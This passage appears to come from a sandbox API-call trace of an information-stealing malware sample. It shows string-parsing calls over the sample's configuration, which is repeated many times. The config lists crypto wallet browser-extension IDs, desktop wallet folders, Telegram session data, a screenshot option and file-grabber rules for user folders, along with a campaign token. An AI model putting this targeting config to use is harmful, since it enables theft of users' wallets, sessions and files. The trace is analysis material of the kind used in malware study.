Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4231 [0266.219] LocalAlloc (uFlags=0x40, uBytes=0x218e) returned 0x6fc408 [0266.219] StrCpyW (in: psz1=0x6f4830, psz2="Binance" | out: psz1="Binance") returned="Binance" [0266.219] LocalFree (hMem=0x6fc408) returned 0x0 [0266.219] StrStrW (lpFirst="*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.219] lstrlenW (lpString="binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4231 [0266.219] LocalAlloc (uFlags=0x40, uBytes=0x218e) returned 0x6fc408 [0266.220] StrCpyW (in: psz1=0x6f7178, psz2="*app-store.*" | out: psz1="*app-store.*") returned="*app-store.*" [0266.220] LocalFree (hMem=0x6fc408) returned 0x0 [0266.220] StrStrW (lpFirst="-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.220] lstrlenW 